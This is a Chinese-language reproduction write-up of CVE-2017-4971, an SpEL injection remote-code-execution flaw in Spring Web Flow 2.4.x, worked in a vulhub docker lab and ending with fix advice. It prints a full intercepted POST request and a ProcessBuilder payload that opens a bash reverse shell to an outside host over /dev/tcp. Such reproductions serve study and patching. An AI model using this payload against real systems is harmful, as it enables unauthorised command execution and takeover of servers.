CVE-2017-4971-Spring-Web-Flow-RCE
forg12

描述

​ Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本

Spring Web Flow 2.4.0 – 2.4.4

漏洞检测

根据复现过程,在其指定的请求体后面加上&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.3.61/2233+0>%261")).start()=vulhub

命令执行不回显,所以漏洞验证需要DNSlog服务器。

环境搭建

使用vulhub的docker环境做复现:

1
2
cd spring/CVE-2017-4971
docker-compose up -d

image-20221104103033924

查看环境

1
http://192.168.3.109:8080/

image-20221104103357947

复现过程

点击左侧Login登录

image-20221104103525444

左侧有密码,随便登录一个账号

image-20221104103553993

直接点击Find Hotels

image-20221104103743283

任意选择一个酒店,点击View Hotel

image-20221104103817196

点击Book Hotel

image-20221104103839378

任意输入后提交

image-20221104103912802

点击Proceed后点击

image-20221104104647714

Kali 开启监听

image-20221104105625232

bp开启Intercept,点击Confirm

截包后转发到Repeater模块。在其请求体后面加上&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.3.61/2233+0>%261")).start()=vulhub

image-20221104105706372

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /hotels/booking?execution=e2s2 HTTP/1.1
Host: 192.168.3.109:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 169
Origin: http://192.168.3.109:8080
Connection: close
Referer: http://192.168.3.109:8080/hotels/booking?execution=e2s2
Cookie: JSESSIONID=B25BE72E737B2A787DAE1271A4963E84
Upgrade-Insecure-Requests: 1

_eventId_confirm=&_csrf=52241c68-5963-43ab-a998-da1d8e065434&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.3.61/2233+0>%261")).start()=vulhub

PS:这里在点击Confirm之前必须开启bp的截包,如果正常的数据包发出后,就不能执行exp了。

获得返回到会话

image-20221104105653632

修复建议

1、2.4.x用户升级到2.4.5
2、建议在视图状态中始终使用显式数据绑定声明, 以防止表单提交在不应设置的目标对象上设置字段。